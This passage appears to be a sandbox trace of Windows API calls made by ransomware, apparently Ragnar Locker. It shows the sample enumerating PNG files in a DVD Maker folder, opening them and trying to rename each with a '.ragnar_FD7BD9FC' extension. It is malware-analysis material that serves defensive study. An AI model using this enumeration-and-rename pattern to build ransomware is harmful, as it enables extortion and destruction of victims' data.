lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" [0079.311] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.ragnar_FD7BD9FC" [0079.311] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\15x15dot.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\15x15dot.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.311] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f740a33, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f740a33, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x15f4, dwReserved0=0x0, dwReserved1=0x0, cFileName="720x480icongraphic.png", cAlternateFileName="")) returned 1 [0079.311] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.311] lstrcpyW (in: lpString1=0x1eab5a, lpString2="720x480icongraphic.png" | out: lpString1="720x480icongraphic.png") returned="720x480icongraphic.png" [0079.311] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png") returned=".png" [0079.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.312] CloseHandle (hObject=0xffffffff) returned 0 [0079.312] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" [0079.312] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.ragnar_FD7BD9FC" [0079.312] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720x480icongraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720x480icongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.312] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6ce61c, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6ce61c, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5444a30d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x143e, dwReserved0=0x0, dwReserved1=0x0, cFileName="720_480shadow.png", cAlternateFileName="")) returned 1 [0079.312] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.312] lstrcpyW (in: lpString1=0x1eab5a, lpString2="720_480shadow.png" | out: lpString1="720_480shadow.png") returned="720_480shadow.png" [0079.312] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png") returned=".png" [0079.312] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.312] CloseHandle (hObject=0xffffffff) returned 0 [0079.312] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" [0079.313] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.ragnar_FD7BD9FC" [0079.313] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\720_480shadow.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\720_480shadow.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.313] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7ff104, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7ff104, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54613375, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.313] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.313] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationLeft_ButtonGraphic.png" | out: lpString1="NavigationLeft_ButtonGraphic.png") returned="NavigationLeft_ButtonGraphic.png" [0079.313] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png") returned=".png" [0079.313] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.313] CloseHandle (hObject=0xffffffff) returned 0 [0079.313] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" [0079.313] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.313] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.313] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54e68005, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.313] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.313] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationLeft_SelectionSubpicture.png" | out: lpString1="NavigationLeft_SelectionSubpicture.png") returned="NavigationLeft_SelectionSubpicture.png" [0079.313] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png") returned=".png" [0079.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.314] CloseHandle (hObject=0xffffffff) returned 0 [0079.314] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" [0079.314] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.314] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationLeft_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationleft_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.314] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7d8fa7, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7d8fa7, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x54f98af5, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.314] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.314] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationRight_ButtonGraphic.png" | out: lpString1="NavigationRight_ButtonGraphic.png") returned="NavigationRight_ButtonGraphic.png" [0079.314] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png") returned=".png" [0079.314] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.314] CloseHandle (hObject=0xffffffff) returned 0 [0079.314] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" [0079.314] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.314] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.315] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f78cced, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f78cced, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.315] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.315] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationRight_SelectionSubpicture.png" | out: lpString1="NavigationRight_SelectionSubpicture.png") returned="NavigationRight_SelectionSubpicture.png" [0079.315] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png") returned=".png" [0079.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.315] CloseHandle (hObject=0xffffffff) returned 0 [0079.315] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" [0079.315] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.315] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationRight_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationright_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.315] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f766b90, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f766b90, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x5529264d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0079.315] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.315] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationUp_ButtonGraphic.png" | out: lpString1="NavigationUp_ButtonGraphic.png") returned="NavigationUp_ButtonGraphic.png" [0079.315] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png") returned=".png" [0079.315] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.316] CloseHandle (hObject=0xffffffff) returned 0 [0079.316] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" [0079.316] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" [0079.316] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_ButtonGraphic.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_buttongraphic.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.316] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f7b2e4a, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f7b2e4a, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0079.316] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", nBufferLength=0x104, lpBuffer=0x1eaae8, lpFilePart=0x1eaf94 | out: lpBuffer="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\*.*", lpFilePart=0x1eaf94*="*.*") returned 0x3c [0079.316] lstrcpyW (in: lpString1=0x1eab5a, lpString2="NavigationUp_SelectionSubpicture.png" | out: lpString1="NavigationUp_SelectionSubpicture.png") returned="NavigationUp_SelectionSubpicture.png" [0079.316] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png") returned=".png" [0079.316] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0xffffffff [0079.316] CloseHandle (hObject=0xffffffff) returned 0 [0079.316] lstrcpyW (in: lpString1=0x1ea008, lpString2="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" [0079.316] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" [0079.316] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png"), lpNewFileName="\\\\?\\C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Stacking\\NavigationUp_SelectionSubpicture.png.ragnar_FD7BD9FC" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\stacking\\navigationup_selectionsubpicture.png.ragnar_fd7bd9fc"), dwFlags=0x3) returned 0 [0079.316] FindNextFileW (in: hFindFile=0x5a1368, lpFindFileData=0x1eacf0 | out: lpFindFileData=0x1eacf0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6f6a84bf, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6f6a84bf, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x552b87ab, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x60d7, dwReserved0=0x0, dwReserved1=0x0, cFileName="photograph.png", cAlternateFileName="")) returned 1 